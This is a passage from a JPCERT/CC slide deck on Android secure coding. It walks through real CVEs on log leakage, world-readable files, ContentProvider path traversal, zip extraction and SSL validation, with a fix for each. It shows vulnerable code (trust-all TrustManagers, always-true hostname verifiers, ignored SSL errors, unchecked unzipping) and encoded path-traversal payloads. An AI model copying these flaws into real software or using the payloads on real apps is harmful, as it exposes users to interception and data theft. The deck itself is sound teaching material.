specified to call a receiver
within the same application.
- 105. Copyright©2015 JPCERT/CC All rights reserved.
Broadcast within the own app
use LocalBroadcastManager
—the data you are broadcasting won't leave your app, so no
need to worry about leaking private data
—other applications cannot send these broadcasts to your app,
so you don't need to worry about having security holes they
can exploit
—more efficient than sending a global broadcast through the
system
105
Intent intent = new Intent("my-‐‑‒sensitive-‐‑‒event");
intent.putExtra("event", "this is a test event");
LocalBroadcastManager.getInstance(this).sendBroadcast(intent);
- 106. Copyright©2015 JPCERT/CC All rights reserved.
When You Implement Broadcast Receiver
Limit the destination if you need to send sensitive
information
—Intent#setClass(Context, class)
If the app lacks a permission and an error occurs during
the sending of the broadcast message, the error will also
be sent to LogCat
—The error message in LogCat could leak the contents of the
Intent
If you are publishing a Broadcast Receiver, consider the
risk of Intents being sent from malware
106
- 108. Copyright©2015 JPCERT/CC All rights reserved.
Log Output
android.util.Log class
—Log.d (Debug), Log.e (Error)
—Log.i (Info), Log.v (Verbose), Log.w (Warn)
108
Log.v("method", Login.TAG + ", account=" + str1);
Log.v("method", Login.TAG + ", password=" + str2);
example
- 109. Copyright©2015 JPCERT/CC All rights reserved.
Obtaining Log Output
declare READ_LOGS permission in the manifest file
—Apps can read log output
call logcat from an app
109
<uses-‐permission android:name="android.permission.READ_LOGS"/>
AndroidManifest.xml
Process mProc = Runtime.getRuntime().exec(
new String[]{"logcat", "-‐d", "method:V *:S“});
BufferedReader mReader = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
example
- 110. Copyright©2015 JPCERT/CC All rights reserved.
Account information
or other information
such as sessionID are
saved in a log file
http://jvn.jp/jp/JVN31860555/
http://madoka-‐‑‒magica-‐‑‒game.channel.or.jp/#/Application
Monaca account
could have been
hijacked
Information Management Vulnerability
110
- 111. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenarios
111
Attacker
Accountinformation
1. Monaca debugger app
outputs the account
information to logcat
2. Malicious app can obtain
the account information
from the log
Information
Disclosure
Victim
Maliciousapp
log output
Monaca Debugger
app
- 112. Copyright©2015 JPCERT/CC All rights reserved.
Root Cause
Used logging for debugging purpose
Released app without removing the debug code
Apps with READ_LOGS permission could obtain all the
other app’s log output
112
- 113. Copyright©2015 JPCERT/CC All rights reserved.
Solution
Make sure no sensitive data is sent to logcat
Declare and use custom log class
—so that log output is automatically turned on/off based
on Debug/Release
use ProGuard to delete specific method call
113
- 114. Copyright©2015 JPCERT/CC All rights reserved.
Android 4.0(API15) and before
Any application with READ_LOGS permission could obtain
all the other app's log output
114
App A App B
obtain log outputobtain log output
Log.v("method", Login.TAG + ",
account=" + str1);
Process mProc = Runtime.getRuntime().
exec(
new String[]{"logcat",
"-‐d",
"method:V *:S”});
READ_LOGS
permission
- 115. Copyright©2015 JPCERT/CC All rights reserved.
Android 4.1(API16) and later
The behavior of READ_LOGS permission was changed
—Even app with READ_LOGS permission cannot obtain log
output from other apps
By connecting device to PC, log output from other app can
still be obtained
115
App A App B
obtain log outputobtain log output
READ_LOGS
permission
- 116. Copyright©2015 JPCERT/CC All rights reserved.
JSSEC Secure Coding Guidebook
116
Sensitive information must not
be output by android.util.Log
- 117. Copyright©2015 JPCERT/CC All rights reserved.
More on Android Logcat Security
Android Logcat Security
—http://translate.wooyun.io/2015/06/17/android-logcat-
security.html
117
- 119. Copyright©2015 JPCERT/CC All rights reserved.
CVE-2012-4007
Malicious app could access
friends’ comments
119
https://play.google.com/store/apps/details?id=jp.mixi
https://jvn.jp/en/jp/JVN92038939/
SNS app for posting
comments, checking friends’
updates, etc.
- 120. Copyright©2015 JPCERT/CC All rights reserved.
1. SNS app fetches a comment of user’s friend
(supposedly sensitive)
2. SNS app saves it to SD card
3. Other app retrieves the comment from SD card
4. And send it to an attacker
information
leak
attacker
friends’ comments
120
Malicious App
SD card
Attack Scenario
- 121. Copyright©2015 JPCERT/CC All rights reserved.
malware
• Friends’ comments are
saved to SD card
• The contents in SD card
can be read by other
apps
SD card
Files in SDcard can be
read from otherapps
file friends’ comments
friends’ comments
friends’
comments
121
Root Cause
- 122. Copyright©2015 JPCERT/CC All rights reserved.
App Directory
malware
SD card
friends’ comments
friends’ comments
File with
MODE_PRIVA
TE
NOT
Readable
Solution
122
Save friends’ comments to
internal storage (application-
specific directory)
- 123. Copyright©2015 JPCERT/CC All rights reserved.
4.6.1.1. Using Private Files
123
JSSEC Secure Coding Guidebook
•Files should not be shared with other apps
•Files should be created with MODE_PRIVATE
- 125. Copyright©2015 JPCERT/CC All rights reserved.
CVE-2013-2301 OpenWnn Info. Disclosure
Malicious App could access files stored
in vulnerable app’s application data
directory
125
- 126. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario
126
Attack Scenario
User installs andexecutes a malicious app
User
User
install
Mal app App Market,
attacker’s site,
etc.
The malicious app steals OpenWnn’s
application data
access
Mal app
http://jvndb.jvn.jp/en/contents/2013/JVNDB-2013-000025.html
Application data is not
supposed to be shared
among apps but
improper file
permission make it
possible
OpenWnn’s sensitive
data is stolen
- 127. Copyright©2015 JPCERT/CC All rights reserved.
Root Cause
127
Attack Scenario
User installs and executes malicious
app
Use
r
Use
r
install
Mal app App Market,
attacker’s site,
etc.
The malicious app accesses the file in
the internal storage
access
Mal app
Internal storage area
is expected to
protect private files,
but files can be
accessible if access
permissions are
improperly set.
The access permission of the created file
was set to WORLD_READABLE.
Other app could read the file if the file
path is known.
- 128. Copyright©2015 JPCERT/CC All rights reserved.
Solution
128
Attack Scenario
User installs and executes malicious
app
Use
r
Use
r
install
Mal app App Market,
attacker’s site,
etc.
The malicious app accesses the file in
the internal storage
access
Mal app
Internal storage area
is expected to
protect private files,
but files can be
accessible if access
permissions are
improperly set.
Application data (private
files) should be created
with the access
permission MODE_PRIVATE
- 129. Copyright©2015 JPCERT/CC All rights reserved.
Security Models of Android
Application can read any other
application data (user’s file).
Application resources should be isolated
unless the resource needs to be shared
among different apps.
What do you mean by “user”?
On Android each app has different UID
so application data should be
protected.
129
- 130. Copyright©2015 JPCERT/CC All rights reserved.
Saving application data in Android OS
Android provides multiple options to save persistent
application data
—Shared Preferences
—Internal Storage
—External Storage
—SQLite Databases
—Network Connection
130
http://developer.android.com/guide/topics/data/data-storage.html
- 131. Copyright©2015 JPCERT/CC All rights reserved.
Take care where to save files using…
—Shared Preferences
—Internal Storage
—External Storage
—SQLite Databases
—Network Connection
Saving application data in Android OS
131
Those options use
“private” local files.
Those options use
“private” local files.
Those options use
“private” local files.
- 132. Copyright©2015 JPCERT/CC All rights reserved.
Access Permissions of Android OS
MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE
android.content.context
defines the file access permissions…
132
- 133. Copyright©2015 JPCERT/CC All rights reserved.
Access Permissions of Android OS
MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE
133
String FILENAME = “hello_file”;
String string = “ciao world!”;
FileOutputStream fos =
openFileOutput(FILENAME, Context.MODE_PRIVATE);
fos.write(string.getBytes());
fos.close();
created files can only be accessed by the
calling application.
(or any apps sharing the same user ID)
- 134. Copyright©2015 JPCERT/CC All rights reserved.
Access Permissions of Android OS
MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE
134
allow all other applications
to have read access to the
created file.
“This constant was deprecated in API level 17. Creating world-
readable files is very dangerous, and likely to cause security
holes in applications. It is strongly discouraged; instead,
applications should use more formal mechanism for interactions such as
ContentProvider, BroadcastReceiver, and Service. …”
- 135. Copyright©2015 JPCERT/CC All rights reserved.
Access Permissions of Android OS
MODE_PRIVATE
MODE_WORLD_READABLE
MODE_WORLD_WRITABLE
135
allow all other applications
to have write access to the
created file.
“This constant was deprecated in API level 17. Creating world-
writable files is very dangerous, and likely to cause security
holes in applications. It is strongly discouraged; instead,
applications should use more formal mechanism for interactions such as
ContentProvider, BroadcastReceiver, and Service. …”
- 136. Copyright©2015 JPCERT/CC All rights reserved.
Application sandboxing in Android OS
Android OS gives each app a distinct Linux user ID
Android OS takes advantage of the Linux user-based
protection to identify and isolate app resources
If you need to share data between apps, use inter-process
communication mechanism, e.g., ContentProvider,
BroadcastReceiver, Service, …
136
http://source.android.com/devices/tech/security/index.html
App-private files should be
isolated from other apps.
That is the Android’s basic principle!
- 137. Copyright©2015 JPCERT/CC All rights reserved.
Summary
Remember the design principle of Android OS
—Don’t allow other applications to access your local
files
Use IPC mechanism (such as ContentProvider) for
sharing data among apps
When you need to share data with other app, consider
the risk of malware and protect against them.
File permission of local files should
be MODE_PRIVATE
137
- 138. Copyright©2015 JPCERT/CC All rights reserved.
4.6.1.1. Using Private Files
138
JSSEC Secure Coding Guidebook
•Files should not be shared with other apps
•Files should be created with MODE_PRIVATE
- 141. Copyright©2015 JPCERT/CC All rights reserved.
Geolocation API
Allows web browsers to access geographical location
information of user's device
—http://www.w3.org/TR/geolocation-API/
—Specified by W3C
To use Geolocation API in WebView
—Permission
android.permission.ACCESS_FINE_LOCATION
android.permission.ACCESS_COARSE_LOCATION
android.permission.INTERNET
—WebView class
WebSettings#setGeolocationEnabled(true);
141
- 142. Copyright©2015 JPCERT/CC All rights reserved.
To Retrieve User’s Location Data on A Web Page
An example javascript of using Geolocation API:
142
<script>
navigator.geolocation.getCurrentPosition(
function(position) {
alert(position.coords.latitude);
alert(position.coords.longitude);
},
function(){
// error
});
</script>
- 143. Copyright©2015 JPCERT/CC All rights reserved.
Ask for user's consent
143
Should not send geolocation information to
websites without obtaining the user's consent
- 145. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Implementation
145
public void onGeolocationPermissionsShowPrompt(String arg3,
GeolocationPermissions$Callback arg4) {
super.onGeolocationPermissionsShowPrompt(arg3, arg4);
arg4.invoke(arg3, true, false);
}
whether or not the origin should be allowed
to use the Geolocation API
the origin for which permissions are set
whether the permission should be retained
beyond the lifetime of a page currently being
displayed by a WebView
Sends user’s location data
without gaining user's permission
- 146. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenarios
Attacker only need to force the victim to visit a website
that collects geolocation data
Attacker can get the user's geolocation without being
noticed
146
- 148. Copyright©2015 JPCERT/CC All rights reserved.148
‘Classic’ Errors
13.Cryptographic Issues
14.Path traversal
15.Unsafe Decompression of Zip Files
16.Improper Certificate Verification
- 150. Copyright©2015 JPCERT/CC All rights reserved.
Best Practice for Using Cryptography
http://developer.android.com/guide/practices/security.html#Crypto
“In general, try using the highest level of
pre-existing framework implementation
that can support your use case.
………
150
If you cannot avoid implementing your
own protocol, we strongly recommend
that you do not implement your own
cryptographic algorithms.”
- 154. Copyright©2015 JPCERT/CC All rights reserved.
… from Source code of Android 4.1_r2
154
/**
* Provides the Java side of our JNI glue for OpenSSL.
*/
public final class NativeCrypto {
…………
static {
// Note these are added in priority order
add(“SSL_RSA_WITH_RC4_128_MD5”, “RC4-‐MD5”);
add(“SSL_RSA_WITH_RC4_128_SHA”, “RC4-‐SHA”);
add(“TLS_RSA_WITH_AES_128_CBC_SHA”, “AES128-‐SHA”);
add(“TLS_RSA_WITH_AES_256_CBC_SHA”, “AES256-‐SHA”);
add(“TLS_ECDH_ECDSA_WITH_RC4_128_SHA”, “ECDH-‐ECDSA-‐RC4-‐SHA”);
............
https://android.googlesource.com/platform/libcore/+/android-cts-
4.1_r2/luni/src/main/java/org/apache/harmony/xnet/provider/jsse/NativeCrypto.java
Cipher list is hard-coded
- 155. Copyright©2015 JPCERT/CC All rights reserved.
RC4-MD5 should be avoided
155
Disable RC4
The RC4 cipher suite is considered insecure and should
be disabled. At the moment, the best attacks we know
require millions of requests, a lot of bandwidth and
time. Thus, the risk is still relatively low, but we expect
that the attacks will improve in the future.
From Qualys SSL Labs,
“SSL/TLS Deployment Best Practices”
https://www.ssllabs.com/projects/best-practices/
- 158. Copyright©2015 JPCERT/CC All rights reserved.
Solution
158
Customize the cipher list using
setProperty(“https.cipherSuites”,…)
http://blog.livedoor.jp/k_urushima/archives/cat_38371.html
- 160. Copyright©2015 JPCERT/CC All rights reserved.
CVE-2013-0704: GREE Path Traversal Vulnerability
GREE (jp.gree.android.app)
Feature
—Mobile social gaming app
Vulnerability
—Other app could obtain the private file of the app
160
- 161. Copyright©2015 JPCERT/CC All rights reserved.
Overview of Vulnerability
Flaw in the implementation of ContentProvider
—used openFile method to share image files
ContentProvider#openFile
—provides a facility for other app to access your app data
161
- 162. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
In openFile() method
—used Uri#getLastPathSegment to obtain the last segment of
the path
—Return the target file from the specified directory
162
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException
{
File file = new File(IMAGE_DIRECTORY, paramUri.getLastPathSegment());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
jp/gree/android/sdk/ImageProvider
- 163. Copyright©2015 JPCERT/CC All rights reserved.
Uri#getLastPathSegment
Uri#getLastPathSegment() internally calls
Uri#getPathSegments()
163
public String getLastPathSegment() {
// TODO: If we haven't parsed all of the segments already, just
// grab the last one directly so we only allocate one string.
List<String> segments = getPathSegments();
int size = segments.size();
if (size == 0) {
return null;
}
return segments.get(size -‐ 1);
}
- 164. Copyright©2015 JPCERT/CC All rights reserved.
Uri#getPathSegments
164
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -‐1) {
// This check keeps us from adding a segment if the path starts
// '/' and an empty segment for "//".
if (previous < current) {
String decodedSegment
= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
// Add in the final path segment.
if (previous < path.length()) {
segmentBuilder.add(decode(path.substring(previous)));
}
return pathSegments = segmentBuilder.build();
}
- 165. Copyright©2015 JPCERT/CC All rights reserved.
Uri#getPathSegments
165
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -‐1) {
// This check keeps us from adding a segment if the path starts
// '/' and an empty segment for "//".
if (previous < current) {
String decodedSegment
= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
// Add in the final path segment.
if (previous < path.length()) {
segmentBuilder.add(decode(path.substring(previous)));
}
return pathSegments = segmentBuilder.build();
}
divide the path into segments using "/"
as a separator
and then decoded
../../%E3%81%BB%E3%81%92%2Ejpg
Path is separated by "/"
..
ほげ.jpg
..
- 166. Copyright©2015 JPCERT/CC All rights reserved.
Uri#getPathSegments
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -‐1) {
// This check keeps us from adding a segment if the path starts
// '/' and an empty segment for "//".
if (previous < current) {
String decodedSegment
= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
// Add in the final path segment.
if (previous < path.length()) {
segmentBuilder.add(decode(path.substring(previous)));
}
return pathSegments = segmentBuilder.build();
}
166
../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg
../../ほげ.jpg
What happens if “/” in the path is URL encoded to "%2F“ ?
"/" are separated,
but "%2F" are not.
Therefore after the path separation,
the last path segment containing
“%2F” is decoded to “/” which
allows path traversal.
..
..
- 167. Copyright©2015 JPCERT/CC All rights reserved.
Initial Fix by the Developer
Uri#getLastPathSegment is called twice
167
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException
{
File file = new File(IMAGE_DIRECTORY,
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
ParcelFileDescriptor.MODE_READ_ONLY);
}
- 168. Copyright©2015 JPCERT/CC All rights reserved.
Fix Applied by the Developer
Uri#getLastPathSegment is called twice
168
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException
{
File file = new File(IMAGE_DIRECTORY,
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
ParcelFileDescriptor.MODE_READ_ONLY);
}
The first getLastPathSegment() call
../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg
../../hoge.jpg
The second getLastPathSegment() call
hoge.jpg
../../hoge.jpg
- 170. Copyright©2015 JPCERT/CC All rights reserved.
Double Encoding
Encode the encoded text.
170
https://www.owasp.org/index.php/Double_Encoding
..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg
%252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%25
81%2592%252Ejpg
- 171. Copyright©2015 JPCERT/CC All rights reserved.
What if the path is double-encoded?
How does the previous fix decode a double-encoded path?
171
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException
{
File file = new File(IMAGE_DIRECTORY,
Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,
ParcelFileDescriptor.MODE_READ_ONLY);
}
The first getLastPathSegment
%2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg
The second getLastPathSegment
../../ほげ.jpg
%252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%2
581%2592%252Ejpg
%2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg
decode "%25" to "%"
Again, path traversal is possible
- 172. Copyright©2015 JPCERT/CC All rights reserved.
Solution
First canonicalize the path using File#getCanonicalPath(). Then check
to see if the canonicalized path is under the IMAGE_DIRECTORY.
172
private static String IMAGE_DIRECTORY = localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
throws FileNotFoundException
{
String decodedUriString = Uri.decode(paramUri.toString());
File file = new File(IMAGE_DIRECTORY,
Uri.parse(decodedUriString).getLastPathSegment());
if (file.getCanonicalPath().indexOf(localFile.getCanonicalPath()) != 0) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
- 173. Copyright©2015 JPCERT/CC All rights reserved.
Summary
First, canonicalize the path
—File#getCanonicalPath()
Then, validate the canonicalized path
Reference
—https://www.securecoding.cert.org/confluence/display/java/IDS
02-J.+Canonicalize+path+names+before+validating+them
—https://www.owasp.org/index.php/Double_Encoding
173
- 175. Copyright©2015 JPCERT/CC All rights reserved.
ZIP File and Security
When extracting entries from a
ZIP archive, be prepared to
mitigate Zip Bomb and Directory
Traversal attacks.
https://www.securecoding.cert.org/confluence/x/3AG-Aw
175
- 176. Copyright©2015 JPCERT/CC All rights reserved.
java.util.zip package
classes for reading/writing ZIP and GZIP file formats.
n ZipInputStream -- input stream filter for reading ZIP files
n ZipOutputStream -- output stream filter for writing ZIP files
n ZipEntry -- represents a ZIP file entry
n GZIPInputStream -- input stream filter for reading GZIP
n GZIPOutputStream – output stream filter for writing GZIP files
176
ZipInputStrea
m
ZipOutputStrea
m
- 177. Copyright©2015 JPCERT/CC All rights reserved.
ZipBomb
ua small zip file but when decompressed, it expands to
larger than a system can handle
uHigh compression ratio
uConsumes memory and/or disks
177
Decompresing Zip files
without checking file size
could lead to DoS!!
- 178. Copyright©2015 JPCERT/CC All rights reserved.
More Bombs...
178
Decompression bomb vulnerabilities
AERAsec Network Services andSecurity GmbH
http://www.aerasec.de/security/advisories/decompression-bomb-
vulnerability.html
Zip Bomb (http://en.wikipedia.org/wiki/Zip_bomb)
42.zip (http://www.unforgettable.dk/)
- 179. Copyright©2015 JPCERT/CC All rights reserved.
Directory Traversal
Zip entries (file names) are untrusted input
—Filenames in a zip file could contain special characters
(such as ‘.’, ‘/’, ‘¥’ etc) to conduct path traversal attacks
179
document.docx
presentation.pptx
../../../sdcard/malwar
epicture1.jpg
picture2.jpg
Filenames in a zip file should
be checked before the files are
created in a filesystem.
- 180. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
class Unzip {
static final int BUFFER = 512;
public static void main(String[] args) throws FileNotFoundException,IOException {
BufferedOutputStream dest = null;
ZipInputStream zis =
new ZipInputStream(new BufferedInputStream(new FileInputStream(args[0])));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null){
System.out.println(“Extracting: “ + entry);
int count;
byte data[] = new byte[BUFFER];
FileOutputStream fos = new FileOutputStream(entry.getName());
dest = new BufferedOutputStream(fos, BUFFER);
while ((count=zis.read(data,0,BUFFER)) != -‐1){
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
zis.close();
}
}
180
Extracts contents without
checking the resulting size
Uses entry filenames in ZIP
archive without validating them
- 181. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code Example
class Unzip {
static final int BUFFER = 512;
public static void main(String[] args) throws FileNotFoundException,IOException {
BufferedOutputStream dest = null;
ZipInputStream zis =
new ZipInputStream(new BufferedInputStream(new FileInputStream(args[0])));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null){
System.out.println(“Extracting: “ + entry);
int count;
byte data[] = new byte[BUFFER];
FileOutputStream fos = new FileOutputStream(entry.getName());
dest = new BufferedOutputStream(fos, BUFFER);
while ((count=zis.read(data,0,BUFFER)) != -‐1){
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
zis.close();
}
}
181
Solution:
Validate filenames and resulting
sizes BEFORE extracting files
- 182. Copyright©2015 JPCERT/CC All rights reserved.
static final int BUFFER = 512;
static final int TOOBIG = 0x6400000; // upper limit of filesize, 100MB
static final int TOOMANY = 1024; // upper limit of entries
// ...
private String validateFilename(String filename, String intendedDir) {
File f = new File(filename);
String canonicalPath = f.getCanonicalPath();
File iD = new File(intendedDir);
String canonicalID = iD.getCanonicalPath();
if (canonicalPath.startsWith(canonicalID)) {
return canonicalPath;
} else {
throw new IllegalStateException("File is outside extraction target
directory.");
}
}
public final void unzip(String filename) throws java.io.IOException{
182
Continues to the next page…
Canonicalize the given
path first. Then make
sure that the given pathis
in the intendedDir
Solution
- 183. Copyright©2015 JPCERT/CC All rights reserved.
public final void unzip(String filename) throws java.io.IOException{
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry; int entries = 0; int total = 0;
try {
while ((entry = zis.getNextEntry()) != null) {
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// outputa file AFTER verifyingfilenamsandresultingfile size
String name = validateFilename(entry.getName(), ".");
FileOutputStream fos = new FileOutputStream(name);
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total <= TOOBIG && (count = zis.read(data, 0, BUFFER)) != -‐1) {
dest.write(data, 0, count);
total += count;
}
dest.flush();
dest.close();
zis.closeEntry();
entries++;
if (entries > TOOMANY) {
throw new IllegalStateException("Too many files to unzip.");
}
if (total > TOOBIG) {
throw new IllegalStateException("File being unzipped is too big.");
}
}
} finally { zis.close(); } }
183
Book keeping the
extracted size so
that it won’t
exceed some
upper limit
Solution (cont.)
- 185. Copyright©2015 JPCERT/CC All rights reserved.
Multiple Android Apps fail to properly validate SSL certificate
In September 2014, CERT/CC published VU#582497
—1,000,462 apps tested
—23,667 apps failed dynamic testing
Many android apps don’t validate SSL certificate properly
—http://www.kb.cert.org/vuls/id/582497
185
- 186. Copyright©2015 JPCERT/CC All rights reserved.
25% of Apps vulnerable to HTTPS handling
186
¼ of android
applications
contain HTTPS
related
vulnerabilities
Android Application Vulnerability Research Report, Oct., 2013
http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf
- 187. Copyright©2015 JPCERT/CC All rights reserved.
Root Cause of HTTPS Vulnerabilities
187
Android Application Vulnerability Research Report, Oct., 2013
http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf
Customized X509TrustManager
Customized WebViewClient#onReceivedSslError
Customized HostnameVerifier
Fig.8 Causes of HTTPS-related
Vulnerabilities
- 188. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Pattern 1
Custom TrustManager
188
package xxxx.xxxx.xxxx.xxxx.xxxx.xxxx;
import java.security.cert.X509Certificate;
import javax.net.ssl.X509TrustManager;
class g implements X509TrustManager {
g(f arg1) {
this.a = arg1;
super();
}
public void checkClientTrusted(X509Certificate[] arg1, String arg2) {
}
public void checkServerTrusted(X509Certificate[] arg1, String arg2) {
}
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
- 189. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Pattern 2
SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER is
used to accept any hostname.
189
h.a = new HttpPost(v0);
h.a.setHeader("Content-‐Type", "image/jpeg");
h.a.setHeader("Accept-‐Language", "ja-‐jp");
h.a.setHeader("Accept-‐Encoding", "gzip, deflate");
h.a.setHeader("Proxy-‐Connection", "keep-‐alive");
h.a.setHeader("User-‐Agent", v1);
KeyStore v0_1 = KeyStore.getInstance(KeyStore.getDefaultType());
v0_1.load(v2, ((char[])v2));
f v1_1 = new f(v0_1);
((SSLSocketFactory)v1_1).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
SchemeRegistry v0_2 = new SchemeRegistry();
v0_2.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
v0_2.register(new Scheme("https", ((SocketFactory)v1_1), 443));
- 190. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Pattern 3
Empty HostnameVerify
190
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession session) {
// always returns true, hence accepts any hostnames
return true;
}
};
- 191. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Pattern 4
SSL error is ignored in WebView
191
mWebView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError
error) {
handler.proceed();
}
});
- 192. Copyright©2015 JPCERT/CC All rights reserved.
The transaction
contains users’ account
balance information
Certain Financial app fails to verify SSL Server
Certificates
192
The vulnerability
allows MITM
attack!!
- 193. Copyright©2015 JPCERT/CC All rights reserved.
Attack Scenario
193
Attacker
1. App requests SSL/TLS
connection
3. App proceeds
the session
WITHOUT
verifying the
certificate
user
Financial App
malicious
certificate 2. Responds with a
malicious certificate
Impersonating
The server
Unable to detect
Man-In-The-Middle
attacks!
- 194. Copyright©2015 JPCERT/CC All rights reserved.
Vulnerable Code
194
xxx.xxxx.xxxxx.xxxx.ApiRequest$1 v12 = new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return null;
}
};
try {
SSLContext v18 = SSLContext.getInstance("TLS");
v18.init(null, new TrustManager[]{v12}, null);
((HttpsURLConnection)v8).setSSLSocketFactory(v18.getSocketFactory());
((HttpsURLConnection)v8).setSSLSocketFactory(v18.getSocketFactory());
((HttpsURLConnection)v8).setHostnameVerifier(new HostnameVerifier() {
public boolean verify(String string, SSLSession ssls) {
return 1;
}
});
((HttpURLConnection)v8).setRequestMethod("POST");
((HttpURLConnection)v8).setDoOutput(true);
((HttpURLConnection)v8).setRequestProperty("Referer", ”xxx.xxx.xxxx.xxx");
((HttpURLConnection)v8).setRequestProperty("Content-‐Type", "application/x-‐www-‐form-‐urlencoded");
((HttpURLConnection)v8).setRequestProperty("Content-‐Length", v16.length());
((HttpURLConnection)v8).setRequestProperty("User-‐Agent", this.mUserAgent);
((HttpURLConnection)v8).setRequestProperty("X-‐Requested-‐With", "xmlHttpRequest");
((HttpURLConnection)v8).setInstanceFollowRedirects(false);
((HttpURLConnection)v8).connect();
- 195. Copyright©2015 JPCERT/CC All rights reserved.
Fix
Custom TrustManager and HostnameVerifier are
removed from the app
195
try {
URL v14 = new URL(url.split("¥¥?")[0]);
String v12 = new URL(url).getQuery();
v5 = v14.openConnection();
((HttpURLConnection)v5).setRequestMethod("POST");
((HttpURLConnection)v5).setDoOutput(true);
((HttpURLConnection)v5).setRequestProperty("Referer", ”xxx.xxx.xxxx.xxx");
((HttpURLConnection)v5).setRequestProperty("Content-‐Type", "application/x-‐www-‐form-‐urlencoded");
((HttpURLConnection)v5).setRequestProperty("Content-‐Length", v12.length());
((HttpURLConnection)v5).setRequestProperty("User-‐Agent", this.mUserAgent);
((HttpURLConnection)v5).setRequestProperty("X-‐Requested-‐With", "xmlHttpRequest");
((HttpURLConnection)v5).setInstanceFollowRedirects(false);
((HttpURLConnection)v5).connect();
- 196. Copyright©2015 JPCERT/CC All rights reserved.
Summary
Never bypass SSL/TLS certificate validation
—Don’t ignore Exceptions
—Especially when you need to customize TrustManager or
HostnameVerifier
If you disable certificate validation for debugging purpose
—Put it back before you release your app
Do not copy and paste sample code from some website
—No guarantee to be secure
196
- 197. Copyright©2015 JPCERT/CC All rights reserved.
5.4.1.2 Communicatingvia HTTPS
197
JSSEC Secure Coding Guidebook
5.4. 2 Rule Book
Don’t customize
TrustManagerand
HostnameVerifier
- 199. Copyright©2015 JPCERT/CC All rights reserved.
Using tools
mitmproxy or Fiddler
—proxy tool
apktool
—reverse engineering tool
dex2jar
—convert dex to jar file
JD-GUI
—decompile for Java
199
- 200. Copyright©2015 JPCERT/CC All rights reserved.
Install mitmproxy
mitmproxy
—http://mitmproxy.org/
—Installation
in Windows
—Install Python
—https://www.python.org/
200
pip install mitmproxy
- 201. Copyright©2015 JPCERT/CC All rights reserved.
Install Fiddler
Fiddler
—http://www.telerik.com/fiddler
Configure Fiddler to capture traffic from Android apps
—Click [Tools] > [Fiddler Options]
Click [HTTPS] > [Decrypt HTTPS traffic]
Click [Connections] > [Allow remote computers to connect]
201
